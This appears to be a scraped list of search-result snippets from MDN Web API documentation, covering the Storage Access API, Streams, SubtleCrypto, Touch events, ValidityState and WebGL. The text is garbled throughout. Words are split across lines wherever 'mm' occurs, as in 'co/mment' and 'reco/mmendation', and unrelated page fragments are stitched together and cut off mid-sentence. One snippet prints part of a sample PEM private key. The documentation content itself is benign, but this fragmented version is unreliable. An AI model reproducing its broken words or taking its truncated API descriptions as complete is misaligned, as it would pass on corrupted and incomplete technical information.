mmar there was an error in the speech recognition gra
mmar or semantic tags, or the chosen gra
mmar format or semantic tag format was unsupported. language-not-supported the language was not supported. examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional informati...
... chosen gra
mmar format or semantic tag format was unsupported. language-not-supported the language was not supported. examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status co
mment web speech apithe definition of 'error' in that specification. draft ...
Storage Access API - Web APIs
-same-origin"> ... </iframe> the api is designed to limit the potential storage exceptions to origins for which the user has shown an intent to interact. this is enforced through the following constraints: access requests are automatically denied unless the embedded content is currently processing a user gesture such as a tap or click. this also prevents embedded content on the page from spa
mming the browser or user with excessive access requests. origins that have never been interacted with as a first party do not have a notion of first-party storage. from the user’s perspective, they only have a third-party relationship with that origin. access requests are automatically denied if the browser detects that the user hasn’t interacted with the embedded content in a first-party cont...
...t.requeststorageaccess() for more details. safari implementation differences although the api surface is the same, websites using the storage access api should expect differences in the level and extent of storage access they receive between firefox and safari. this is caused by differences in the storage access policies implemented in the two browsers. design properties unique to firefox are su
mmarized here: if the embedded origin tracker.example has already obtained first-party storage access on the top-level origin foo.example, and the user visits a page from foo.example embedding a page from tracker.example again in less than 30 days, the embedded origin will have storage access i
mmediately when loading. if a page from top-level origin foo.example embeds more than one <iframe> from...
... if an embedded page from tracker.example has previously successfully obtained storage access on top-level origin foo.example, all embedded subresources from tracker.example on foo.example (e.g. ...
Using readable streams - Web APIs
note: this article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information on writable streams try using writable streams instead. ...
...vascript of the underlying source the data is being read from. the second object is optional, and allows you to specify a custom queuing strategy to use for your stream. you’ll rarely have to do this, so we’ll just concentrate on the first one for now. the first object can contain up to five members, only the first of which is required: start(controller) — a method that is called once, i
mmediately after the readablestream is constructed. inside this method, you should include code that sets up the stream functionality, e.g. beginning generation of data or otherwise getting access to the source. pull(controller) — a method that, when included, is called repeatedly until the stream’s internal queue is full. this can be used to control the stream as more chunks are enqueued. can...
...ieves png chunks out of a binary data stream. // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) // create a gray-scaled png stream out of the original .then(rs => logreadablestream('fetch response stream', rs)) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => logreadablestream('png chunk stream', rs)) su
mmary that explains the basics of “default” readable streams. we’ll explain bytestreams in a separate future article, once they are available in browsers. ...
Using writable streams - Web APIs
note: this article assumes that you understand the use cases of writable streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information about readable streams, try using readable streams instead. browser support the streams api is experimental, and support is at an early stage right now. only chrome currently has basic writable streams implemented. ...
...l in javascript of the underlying sink the data is being written to. the second object is optional, and allows you to specify a custom queueing strategy to use for your stream, which takes the form of an instance of bytelengthqueuingstrategy or countqueuingstrategy. the first object can contain up to four members, all of which are optional: start(controller) — a method that is called once, i
mmediately after the writablestream is constructed. inside this method, you should include code that sets up the stream functionality, e.g. getting access to the underlying sink. write(chunk,controller) — a method that is called repeatedly every time a new chunk is ready to be written to the underlying sink (specified in the chunk parameter). close(controller) — a method that is called if the ...
...e writing is finished, which triggers the close() method specified inside the writablestream() constructor. we could also abort the stream by calling writablestreamdefaultwriter.abort(). the difference is that when close is called, any previously enqueued chunks are written and finished with before the stream is closed. when abort is called, any previously enqueued chunks are just thrown away i
mmediately and then the stream is moved to an errored state. this also triggers any abort() method specified in the writablestream() constructor to be invoked. ...
Streams API - Web APIs
concepts and usage streaming involves breaking a resource that you want to receive over a network down into small chunks, then processing it bit by bit. this is something browsers do anyway when receiving assets to be shown on webpages — videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded. but this has never been available to javascript before. ...
... be used when constructing streams. countqueuingstrategy provides a built-in chunk counting queuing strategy that can be used when constructing streams. extensions to other apis request when a new request object is constructed, you can pass it a readablestream in the body property of its requestinit dictionary. this request could then be passed to a windoworworkerglobalscope.fetch() to co
mmence fetching the stream. body the response body returned by a successful fetch request is exposed by default as a readablestream, and can have a reader attached to it, etc. bytestream-related interfaces important: these are not implemented anywhere as yet, and questions have been raised as to whether the spec details are in a finished enough state for them to be implemented. this may change...
...e stream and write the contents to the ui. unpack chunks of a png: this example shows how pipethrough() can be used to transform a readablestream into a stream of other data types by transforming a data of a png file into a stream of png chunks. examples from other developers: progress indicators with streams, service workers, & fetch. specifications specification status co
mment streams living standard initial definition. ...
SubtleCrypto.deriveKey() - Web APIs
he three algorithms supported by derivekey() have quite different characteristics and are appropriate in different situations. ecdh ecdh (elliptic curve diffie-hellman) is a key-agreement algorithm. it enables two people who each have an ecdh public/private key pair to generate a shared secret: that is, a secret that they — and noone else — share. they can then use this shared secret as a sy
mmetric key to secure their co
mmunication, or can use the secret as an input to derive such a key (for example, using the hkdf algorithm). ecdh is specified in rfc 6090. hkdf hkdf is a key derivation function. it's designed to derive key material from some high-entropy input, such as the output of an ecdh key agreement operation. it's not designed to derive keys from relatively low-entropy input...
... ...
... ...
SubtleCrypto.importKey() - Web APIs
str.charcodeat(i); } return buf; } const pemencodedkey = `-----begin private key----- miievqibadanbgkqhkig9w0baqefaascbkcwggsjageaaoibaqdd0tpv/du2vftjvxj1t/gxtk39snbvroaeb/jkzxae+xa0h+3lhzaqiqnmfacibsgifzuvegb+7tqxwqpolofr/r7mvgwcsk98jyrvtved8zmzyyitsy7m2hcasqafikyoouv5vzyre87/leyzzbpf3bqq4idaqu+k9hj5fkuu6rroeohsdnjc+vddqlschxvmolz9vtt+ok9j4/tolwr4cg8khdlburcby6gpclo3dpu09sw+6ctx2cx4mkxx6o/0
mmdtmacr/vu50kdrmlefezyowpaehhmfywybtuzbipvizvp8wfcsknmbfi1s9a9pdbqnebwwhhx3/hsebt2bagmbaaecggeabei1p6nf6zs7mjlybdv+pfl5rjl2coqly6tovvzvblmkcppjyfunipdk2tk2i897zaxfhpdbikmllm2hq6jzqkb110oantpdg0jxzmiihps32s1d/kilhjgff4hjd4nxp1l1dp8bupollorr2tym2x6dccgfw9lhtr8o03qp4hjn84vjgiwadyck83mgs4nrsnhkdiqynwx1ajkly51yek6rcrdmi0th2rxrrinoc35svv+apt2rkomgi52rwtesea1kzgfrxjq61rejif6p2vxecvhex6cwlx014lgk43z6q28p6h...
...takes a string containing the pem encoded key, and returns a promise that will resolve to a cryptokey representin...
...use for rsa-pss signing. takes a string containing the pem encoded key, and returns a promise that will resolve to a cryptokey representing the private key. */ function importprivatekey(jwk) { return window.crypto.subtle.importkey( "jwk", jwk, { name: "ecdsa", namedcurve: "p-384" }, true, ["sign"] ); } specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.importkey()' in that specification. reco
mmendation initial definition. ...
SubtleCrypto.unwrapKey() - Web APIs
tion or wrapping. syntaxerror raised when keyusages is empty but the unwrapped key is of type secret or private. typeerror raised when trying to use an invalid format. supported algorithms the unwrapkey() method supports the same algorithms as the wrapkey() method. examples note: you can try the working examples on github. unwrapping a "raw" key in this example we unwrap an aes-gcm sy
mmetric key. the key was exported in "raw" format and encrypted using the aes-kw algorithm, with a key derived from a password. to unwrap, we ask the user for the password and use pbkdf2 and some salt to derive the aes-kw unwrapping key. the salt needs to be the same as the salt that was used to derive the original aes-kw key wrapping key. once we have the unwrapping key we pass it into unwrapkey(...
... ...
... ...
SubtleCrypto.verify() - Web APIs
pkcs1-v1_5, pass the string "rsassa-pkcs1-v1_5" or an object of the form { "name": "rsassa-pkcs1-v1_5" }. to use rsa-pss, pass an rsapssparams object. to use ecdsa, pass an ecdsaparams object. to use hmac, pass the string "hmac" or an object of the form { "name": "hmac" }. key is a cryptokey containing the key that will be used to verify the signature. it is the secret key for a sy
mmetric algorithm and the public key for a public-key system. signature is a arraybuffer containing the signature to verify. data is a arraybuffer containing the data whose signature is to be verified. return value result is a promise that fulfills with a boolean: true if the signature is valid, false otherwise. exceptions the promise is rejected when the following exception is encountered...
... ...
... ...
Touch.radiusX - Web APIs
this attribute is not widely implemented. ...
...ximates the size and shape of the area of contact between the user and the screen. this may be a relatively large ellipse representing the contact between a fingertip and the screen or a small area representing the tip of a stylus, for example. note: this attribute has not been formally standardized. it is specified in the touch events – level 2 draft specification and not in touch events reco
mmendation. this attribute is not widely implemented. syntax var xradius = touchitem.radiusx; return value xradius the x radius of the ellipse that most closely circumscribes the area of contact with the touch surface. example this example illustrates using the touch interface's touch.radiusx, touch.radiusx and touch.rotationangle properties. the touch.radiusx property is the radius of t...
... ...
Touch.radiusY - Web APIs
this attribute is not widely implemented. ...
...e that approximates the size and shape of the area of contact between the user and the screen. this may be a large ellipse representing the contact between a fingertip and the screen or a small one representing the tip of a stylus, for example. note: this attribute has not been formally standardized. ...
...pecification and not in touch events reco
mmendation. this attribute is not widely implemented. syntax var yradius = touchitem.radiusy; return value yradius the y radius of the ellipse that most closely circumscribes the area of contact with the screen. example the touch.radiusx example includes an example of this property's usage. specifications specification status co
mment touch events – level 2 draft non-stable version. ...
Touch.rotationAngle - Web APIs
this attribute is not widely implemented. ...
...ximates the size and shape of the area of contact between the user and the screen. this may be a relatively large ellipse representing the contact between a fingertip and the screen or a small area representing the tip of a stylus, for example. note: this attribute has not been formally standardized. it is specified in the touch events – level 2 draft specification and not in touch events reco
mmendation. this attribute is not widely implemented. syntax var angle = touchitem.rotationangle; return value angle the number of degrees of rotation to apply to the described ellipse to align with the contact area between the user and the touch surface. example the touch.radiusx example includes an example of this property's usage. specifications specification status c...
...ndation. this attribute is not widely implemented. syntax var angle = touchitem.rotationangle; return value angle the number of degrees of rotation to apply to the described ellipse to align with the contact area between the user and the touch surface. example the touch.radiusx example includes an example of this property's usage. specifications specification status co
mment touch events – level 2 draft non-stable version. ...
Touch.target - Web APIs
note that if the target element is removed from the document, events will still be targeted at it, and hence won't necessarily bubble up to the window or document anymore. if there is any risk of an element being removed while it is being touched, the best practice is to attach the touch listeners directly to the target. syntax var el = touchpoint.target; return value el the target element of the touch object. example this example illustrates how to access the touch object's touch.target property. ...
... ...
...function(e) { // iterate through the touch points that were activiated // for this element. for (var i=0; i < e.targettouches.length; i++) { console.log("touchpoint[" + i + "].target = " + e.targettouches[i].target); } }, false); specifications specification status co
mment touch events – level 2 draft non-stable version. touch events reco
mmendation initial definition. ...
Using Touch Events - Web APIs
e best practices to consider when using touch events: minimize the amount of work that is done in the touch handlers. add the touch point handlers to the specific target element (rather than the entire document or nodes higher up in the document tree). add touchmove, touchend and touchcancel event handlers within the touchstart. the target touch element or node should be large enough to acco
mmodate a finger touch. if the target area is too small, touching it could result in firing other events for adjacent elements. implementation and deployment status the touch events browser compatibility data indicates touch event support among mobile browsers is relatively broad, with desktop browser support lagging although additional implementations are in progress. some new features regardin...
...plete implementations. ...
...amples and demos the following documents describe how to use touch events and include example code: touch events overview implement custom gestures introduction to touch events in javascript add touch screen support to your website (the easy way) touch event demonstrations: paint program (by rick byers) touch/pointer tests and demos (by patrick h. lauke) co
mmunity touch events co
mmunity group mail list w3c #touchevents irc channel related topics and resources pointer events standard ...
TreeWalker.whatToShow - Web APIs
meaningful only when creating a treewalker with an attr node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. since attributes are never children of other nodes, they do not appear when traversing over the document tree. nodefilter.show_cdata_section 8 shows cdatasection nodes. nodefilter.show_co
mment 128 shows co
mment nodes. nodefilter.show_document 256 shows document nodes. nodefilter.show_document_fragment 1024 shows documentfragment nodes. nodefilter.show_document_type 512 shows documenttype nodes. nodefilter.show_element 1 shows element nodes. nodefilter.show_entity 32 shows entity nodes. this is meaning...
...of the document tree, they do not appear when traversing over the document tree. nodefilter.show_processing_instruction 64 shows processinginstruction nodes. nodefilter.show_text 4 shows text nodes. ...
...ext nodes. syntax nodetypes = treewalker.whattoshow; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element + nodefilter.show_co
mment + nodefilter.show_text, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); if( (treewalker.whattoshow == nodefilter.show_all) || (treewalker.whattoshow % (nodefilter.show_co
mment*2)) >= nodefilter.show_co
mment) { // treewalker will show co
mments } specifications specification status co
mment domthe definition of 'treewalker.whattoshow' in that specification. living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificatio...
URLSearchParams.set() - Web APIs
2'); let params = new urlsearchparams(url.search.slice(1)); //add a third parameter. params.set('baz', 3); params.tostring(); // "foo=1&bar=2&baz=3" below is a real-life example demonstrating how to create a url and set some search parameters. you can copy and paste the example in a code environment like codepen, jsfiddle, or the multi-line javascript interpreter in firefox. line #41: co
mment out this line to stop dumping the search parameters to the console (debug). line #43: dumps the generated object and it's string representation to the console (info). line #44: tries to automatically open a new window/tab with the generated url (when unco
mmented). 'use strict' function genurl(rexp, atext, bdebug=false){ let theurl theurl= new url('https://regexr.com') theurl.searchpar...
...params.set( 'input', '\u2911\u20dc' )// ⤑⃜ theurl.searchparams.set( 'text', atext.join('\n') ) if( bdebug ){ // display the key/value pairs for(var pair of theurl.searchparams.entries()) { console.debug(pair[0] + ' = \'' + pair[1] + '\''); } console.debug(theurl) } return theurl } var url = genurl( /(^\s*\/\/|\s*[^:]\/\/).*\s*$|\s*\/\*(.|\n)+?\*\/\s*$/gm // single/multi-line co
mments // /(^\s*\/\/.*|\s*[^:]\/\/.*)/g // single-line co
mments ,[ "these should work:", "", "// eslint-disable-next-line no-unused-vars", "lockpref( 'keyword.url',\t\t'https://duckduckgo.com/html/?q=!+' )\t// test", "/*", " * bla bla ", "*/", "", "/* bla bla */", "", "// bla bla ", "", "these shouldn\'t work:", "console.log(\"http://foo.co.uk/\")", "va...
... living standard initial definition. ...
ValidityState.patternMismatch - Web APIs
liditystate.tooshort being true. note: the email input type requires, at minimum, a match of x@y and the url type requires, at minimum, a match to x:, with no pattern attribute present. when invalid, the validitystate.typemismatch will be true, if there is no pattern attribute (or if the pattern attribute is not valid for that input type). ...
...atch will be true, if there is no pattern attribute (or if the pattern attribute is not valid for that input type). specifications specification status co
mment html living standardthe definition of 'validitystate.patternmismatch' in that specification. ...
...type). specifications specification status co
mment html living standardthe definition of 'validitystate.patternmismatch' in that specification. living standard html 5.1the definition of 'validitystate.patternmismatch' in that specification. ...
ValidityState.rangeOverflow - Web APIs
ypes and a max value is set, if the value don't doesn't conform to the constraints set by the max value, the rangeoverflow property will be true. given the following: <input type="number" min="20" max="40" step="2"/> if value > 40, rangeoverflow will be true. when true, the element matches the :invalid and :out-of-range css pseudo-classes. ...
...alue > 40, rangeoverflow will be true. when true, the element matches the :invalid and :out-of-range css pseudo-classes. specifications specification status co
mment html living standardthe definition of 'validitystate.rangeoverflow' in that specification. ...
...eudo-classes. specifications specification status co
mment html living standardthe definition of 'validitystate.rangeoverflow' in that specification. living standard html 5.1the definition of 'validitystate.rangeoverflow' in that specification. ...
ValidityState.rangeUnderflow - Web APIs
es and a min value is set, if the value don't doesn't conform to the constraints set by the min value, the rangeunderflow property will be true. given the following: <input type="number" min="20" max="40" step="2"/> if value < 20, rangeunderflow will be true. when true, the element matches the :invalid and :out-of-range css pseudo-classes. ...
...e < 20, rangeunderflow will be true. when true, the element matches the :invalid and :out-of-range css pseudo-classes. specifications specification status co
mment html living standardthe definition of 'validitystate.rangeunderflow' in that specification. ...
...o-classes. specifications specification status co
mment html living standardthe definition of 'validitystate.rangeunderflow' in that specification. living standard html 5.1the definition of 'validitystate.rangeunderflow' in that specification. ...
validityState.tooLong - Web APIs
the read-only toolong property of a validitystate object indicates if the value of an <input> or <textarea>, after having been edited by the user, exceeds the maximum code-unit length established by the element's maxlength attribute. ...
...tarea>, after having been edited by the user, exceeds the maximum code-unit length established by the element's maxlength attribute. specifications specification status co
mment html living standardthe definition of 'validitystate.toolong' in that specification. ...
... element's maxlength attribute. specifications specification status co
mment html living standardthe definition of 'validitystate.toolong' in that specification. living standard html 5.1the definition of 'validitystate.toolong' in that specification. ...
validityState.tooShort - Web APIs
the read-only tooshort property of a validitystate object indicates if the value of an <input>, <button>, <select>, <output>, <fieldset> or <textarea>, after having been edited by the user, is less than the minimum code-unit length established by the element's minlength attribute. ...
... after having been edited by the user, is less than the minimum code-unit length established by the element's minlength attribute. specifications specification status co
mment html living standardthe definition of 'validitystate.tooshort' in that specification. ...
...ement's minlength attribute. specifications specification status co
mment html living standardthe definition of 'validitystate.tooshort' in that specification. living standard html 5.1the definition of 'validitystate.tooshort' in that specification. ...
WakeLock.request() - Web APIs
return value a promise that resolves with a wakelocksentinel object. exceptions notallowederror thrown when wake lock is not available, which can happen because: document is not allowed to use screen wake lock due to screen-wake-lock policy. ...
... return value a promise that resolves with a wakelocksentinel object. exceptions notallowederror thrown when wake lock is not available, which can happen because: document is not allowed to use screen wake lock due to screen-wake-lock policy. ...
... for if the browser refuses the request for any reason. const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status co
mment screen wake lock apithe definition of 'request()' in that specification. unknown initial definition. ...
WebGL2RenderingContext.fenceSync() - Web APIs
the webgl2renderingcontext.fencesync() method of the webgl 2 api creates a new webglsync object and inserts it into the gl co
mmand stream. syntax webglsync gl.fencesync(condition, flags); parameters condition a glenum specifying the condition that must be met to set the sync object's state to signaled. must be gl.sync_gpu_co
mmands_complete. flags a glbitfield specifying a bitwise combination of flags controlling the behavior of the sync object. must be 0 (exists for extensions only). return value a webglsync object. examples gl must be a webgl2renderingcontext. webglsync objects are not available in webgl 1. ...
... editor's draft initial definition for webgl. ...
...te. flags a glbitfield specifying a bitwise combination of flags controlling the behavior of the sync object. must be 0 (exists for extensions only). return value a webglsync object. examples gl must be a webgl2renderingcontext. webglsync objects are not available in webgl 1. var sync = gl.fencesync(gl.sync_gpu_co
mmands_complete, 0); specifications specification status co
mment webgl 2.0the definition of 'fencesync' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'glfencesync' in that specification. standard man page of the (similar) opengl api. ...
WebGL2RenderingContext.getSyncParameter() - Web APIs
webglsync object. pname a glenum specifying which information to return. possible values: gl.object_type: returns a glenum indicating the type of the sync object (always gl.sync_fence). gl.sync_status: returns a glenum indicating the status of the sync object (gl.signaled or gl.unsignaled). ...
... editor's draft initial definition for webgl. ...
...ds_complete). gl.sync_flags: returns a glenum indicating the flags with which the sync object was created (always 0 as no flags are supported). return value depends on the pname parameter, either a glenum or a glbitfield. examples var sync = gl.fencesync(gl.sync_gpu_co
mmands_complete, 0); gl.getsyncparameter(sync, gl.sync_status); specifications specification status co
mment webgl 2.0the definition of 'getsyncparameter' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'glgetsynciv' in that specification. standard man page of the (similar) opengl api. ...
WebGLRenderingContext.bufferData() - Web APIs
e copied into the data store. if null, a data store is still created, but the content is uninitialized and undefined. usage a glenum specifying the intended usage pattern of the data store for optimization purposes. possible values: gl.static_draw: the contents are intended to be specified once by the application, and used many times as the source for webgl drawing and image specification co
mmands. gl.dynamic_draw: the contents are intended to be respecified repeatedly by the application, and used many times as the source for webgl drawing and image specification co
mmands. gl.stream_draw: the contents are intended to be specified once by the application, and used at most a few times as the source for webgl drawing and image specification co
mmands. when using a webgl 2 context, th...
... repeatedly by reading data from webgl, and queried many times by the application. gl.stream_read: the contents are intended to be specified once by reading data from webgl, and queried at most a few times by the application gl.static_copy: the contents are intended to be specified once by reading data from webgl, and used many times as the source for webgl drawing and image specification co
mmands. gl.dynamic_copy: the contents are intended to be respecified repeatedly by reading data from webgl, and used many times as the source for webgl drawing and image specification co
mmands. gl.stream_copy: the contents are intended to be specified once by reading data from webgl, and used at most a few times as the source for webgl drawing and image specification co
mmands. srcof...
...ntext.getbufferparameter() method. gl.getbufferparameter(gl.array_buffer, gl.buffer_size); gl.getbufferparameter(gl.array_buffer, gl.buffer_usage); getting size of a typed array to calculate size parameter for a typed array. var dataarray = new float32array([1, 2, 3, 4]); var sizeinbytes = dataarray.length * dataarray.bytes_per_element; specifications specification status co
mment webgl 1.0the definition of 'bufferdata' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'glbufferdata' in that specification. standard man page of the opengl api. opengl es 3.0the definition of 'glbufferdata' in that specification. standard man page of the (similar) opengl es 3 api. adds new target buf...
WebGLRenderingContext.scissor() - Web APIs
width of the scissor box. default value: width of the canvas. height a non-negative glsizei specifying the height of the scissor box. default value: height of the canvas. return value none. exceptions if either width or height is a negative value, a gl.invalid_value error is thrown. examples when the scissor test is enabled, only pixels within the scissor box can be modified by drawing co
mmands. // turn on scissor test gl.enable(gl.scissor_test); // set the scissor rectangle gl.scissor(x, y, width, height); // execute drawing co
mmands in the scissor box (e.g. clear) // turn off scissor test again gl.disable(gl.scissor_test); to get the current scissor box dimensions, query the scissor_box constant which returns an int32array. gl.scissor(0, 0, 200, 200); gl.getparameter(gl.sci...
... opengl es 2.0the definition of 'glscissor' in that specification. ...
...ear) // turn off scissor test again gl.disable(gl.scissor_test); to get the current scissor box dimensions, query the scissor_box constant which returns an int32array. gl.scissor(0, 0, 200, 200); gl.getparameter(gl.scissor_box); // int32array[0, 0, 200, 200] specifications specification status co
mment webgl 1.0the definition of 'scissor' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'glscissor' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.vertexAttribPointer() - Web APIs
e. for types gl.float and gl.half_float, this parameter has no effect. stride a glsizei specifying the offset in bytes between the beginning of consecutive vertex attributes. cannot be larger than 255. if stride is 0, the attribute is assumed to be tightly packed, that is, the attributes are not interleaved but each attribute is in a separate block, and the next vertex' attribute follows i
mmediately after the current vertex. offset a glintptr specifying an offset in bytes of the first component in the vertex attribute array. must be a multiple of the byte length of type. return value none. exceptions a gl.invalid_value error is thrown if offset is negative. a gl.invalid_operation error is thrown if stride and offset are not multiples of the size of the data type. a gl.inva...
... opengl es 2.0the definition of 'glvertexattribpointer' in that specification. standard man page of the opengl api. ...
... opengl es 2.0the definition of 'glvertexattribpointer' in that specification. standard man page of the opengl api. ...
Basic scissoring - Web APIs
« previousnext » in this example, we see how to draw simple rectangles and squares using webgl scissoring operations. scissoring establishes a clipping region outside which drawing will not occur. clearing the drawing buffer when scissoring applies this is a simple demonstration of a rendering with scissor(). although the clear() drawing co
mmand writes the clear color (set by clearcolor()) to all pixels in the drawing buffer, scissor() defines a mask that only allows pixels inside the specified rectangular area to be updated. this is a good opportunity to talk about the difference between pixels and fragments. a pixel is a picture element (in practice, a point) on the screen, or a single element of the drawing buffer, that area in memory that holds your pixel data (such ...
...ments and pixels. scissoring is a distinct stage in the webgl/opengl graphics pipeline (it occurs after color clearing, but before color masking). before the actual pixels are updated, fragments must go through the scissor test. if the fragments pass the scissor test, they continue down the graphics pipeline, and the corresponding pixels are updated on the screen. if they fail the test, they are i
mmediately discarded, no further processing occurs, and pixels are not updated. because only fragments within the specified rectangular area successfully pass the scissor test, only pixels inside that area are updated, and we get a rectangle on the screen. the scissoring stage of the pipeline is disabled by default. we enable it here using the enable() method (you will also use enable() to activate...
...pass the scissor test, only pixels inside that area are updated, and we get a rectangle on the screen. the scissoring stage of the pipeline is disabled by default. we enable it here using the enable() method (you will also use enable() to activate many other features of webgl; hence, the use of the scissor_test constant as an argument in this case). this again demonstrates the typical order of co
mmands in webgl. we first tweak webgl state. in this case, enabling the scissor test and establishing a rectangular mask. only when the webgl state has been satisfactorily tweaked, we execute the drawing co
mmand (in this case, clear()) that starts the processing of fragments down the graphics pipeline. <p>result of of scissoring.</p> <canvas>your browser does not seem to support html5 canvas.
WebGL by example - Web APIs
examples by topic the examples are sorted in order of increasing difficulty. but rather than just presenting them in a single long list, they are additionally divided into topics. ...
...ntermediate and advanced levels. instead of trying to juggle shaders, geometry, and working with gpu memory, already in the first program, the examples here explore webgl in an incremental way. we believe that it leads to a more effective learning experience and ultimately a deeper understanding of the underlying concepts. explanations about the examples are found in both the main text and in co
mments within the code. you should read all co
mments, because more advanced examples could not repeat co
mments about parts of the code that were previously explained. getting to know the rendering context detect webgl this example demonstrates how to detect a webgl rendering context and reports the result to the user. clearing with colors how to clear the rendering context with a solid color...
...erplate 1 the example describes repeated pieces of code that will be hidden from now on, as well as defining a javascript utility function to make webgl initialization easier. scissor animation some animation fun with scissoring and clearing operations. raining rectangles a simple game that demonstrates clearing with solid colors, scissoring, animation, and user interaction. shader progra
mming basics hello glsl a very basic shader program that draws a solid color square. hello vertex attributes combining shader progra
mming and user interaction through vertex attributes. textures from code a simple demonstration of procedural texturing with fragment shaders. miscellaneous advanced examples video textures this example demonstrates how to use video files as textures. ...
WebGL constants - Web APIs
r32ui 0x8236 rg8i 0x8237 rg8ui 0x8238 rg16i 0x8239 rg16ui 0x823a rg32i 0x823b rg32ui 0x823c r8_snorm 0x8f94 rg8_snorm 0x8f95 rgb8_snorm 0x8f96 rgba8_snorm 0x8f97 rgb10_a2ui 0x906f texture_i
mmutable_format 0x912f texture_i
mmutable_levels 0x82df pixel types constant name value description unsigned_int_2_10_10_10_rev 0x8368 unsigned_int_10f_11f_11f_rev 0x8c3b unsigned_int_5_9_9_9_rev 0x8c3e float_32_unsigned_int_24_8_rev 0x8dad unsigned_int_24_8 0x84fa ...
... uniform_block_referenced_by_vertex_shader 0x8a44 uniform_block_referenced_by_fragment_shader 0x8a46 sync objects constant name value description object_type 0x9112 sync_condition 0x9113 sync_status 0x9114 sync_flags 0x9115 sync_fence 0x9116 sync_gpu_co
mmands_complete 0x9117 unsignaled 0x9118 signaled 0x9119 already_signaled 0x911a timeout_expired 0x911b condition_satisfied 0x911c wait_failed 0x911d sync_flush_co
mmands_bit 0x00000001 miscellaneous constants constant name value description ...
...esult_available_ext 0x8867 a boolean indicating whether or not a query result is available. time_elapsed_ext 0x88bf elapsed time (in nanoseconds). timestamp_ext 0x8e28 the current time. gpu_disjoint_ext 0x8fbb a boolean indicating whether or not the gpu performed any disjoint operation. specifications specification status co
mment webgl 1.0the definition of 'webglrenderingcontext' in that specification. reco
mmendation initial definition webgl 2.0the definition of 'webgl2renderingcontext' in that specification. editor's draft defines additional constants. ...
Matrix math for the web - Web APIs
eversible. this means that if a translation, rotation, and scale matrix are all combined together, when the order of the matrices is reversed and re-applied then the original points are returned. the order that matrices are multiplied in matters. when multiplying numbers, a * b = c, and b * a = c are both true. for example 3 * 4 = 12, and 4 * 3 = 12. in math these numbers would be described as co
mmutative. matrices are not guaranteed to be the same if the order is switched, so matrices are non-co
mmutative. another mind-bender is that matrix multiplication in webgl and css needs to happen in the reverse order that the operations intuitively happen. for instance, to scale something down by 80%, move it down 200 pixels, and then rotate about the origin 90 degrees would look something like the...
...ultiplyarrayofmatrices(), which is part of the set of utility functions introduced near the top of this article. it takes an array of matrices and multiplies them together, returning the result. in webgl shader code, this is built into the language and the * operator can be used. additionally this example uses scale() and translate() functions, which return matrices as defined above. let transfor
mmatrix = mdn.multiplyarrayofmatrices([ rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); view on jsfiddle finally, a fun step to show how matrices work is to reverse the steps to bring the matrix back to the original identity matrix. ...
...ultiplyarrayofmatrices([ rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); view on jsfiddle finally, a fun step to show how matrices work is to reverse the steps to bring the matrix back to the original identity matrix. ...
WebGL model view projection - Web APIs
d at (0,0,0), and with corners that range range from (-1,-1,-1) to (1,1,1). this clip space is compressed down into a 2d space and rasterized into an image. the first matrix discussed below is the model matrix, which defines how you take your original model data and move it around in 3d world space. the projection matrix is used to convert world space coordinates into clip space coordinates. a co
mmonly used projection matrix, the perspective projection matrix, is used to mimic the effects of a typical camera serving as the stand-in for the viewer in the 3d virtual world. the view matrix is responsible for moving the objects in the scene to simulate the position of the camera being changed, altering what the viewer is currently able to see. the sections below offer an in-depth look into the...
... rotatey, // step 3 rotatex, // step 2 scale // step 1 ]); }; in order to use this in the shader it must be set to a uniform location. the locations for the uniforms are saved in the locations object shown below: this.locations.model = gl.getuniformlocation(webglprogram, 'model'); and finally the uniform is set to that location. this hands off the matrix to the gpu. gl.unifor
mmatrix4fv(this.locations.model, false, new float32array(this.transforms.model)); in the shader, each position vertex is first transformed into a homogeneous coordinate (a vec4 object), and then multiplied against the model matrix. gl_position = model * vec4(position, 1.0); note: in javascript, matrix multiplication requires a custom function, while in the shader it is built into the language ...
...t that should be rendered. while rendering, we need to determine which polygons need to be rendered in order to represent the scene. this is what the viewing frustum defines. but what's a frustum in the first place? a frustum is the 3d solid that results from taking any solid and slicing off two sections of it using two parallel planes. consider our camera, which is viewing an area that starts i
mmediately in front of its lens and extends off into the distance. the viewable area is a four-sided pyramid with its peak at the lens, its four sides corresponding to the extents of its peripheral vision range, and its base at the farthest distance it can see, like this: if we simply used this to determine the polygons to be rendered each frame, our renderer would need to render every polygon wi...
WebGL: 2D and 3D graphics for the web - Web APIs
ape. topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in webgl. webgl by example a series of live samples with short explanations that showcase webgl concepts and capabilities. the examples are sorted according to topic and level of difficulty, covering the webgl rendering context, shader progra
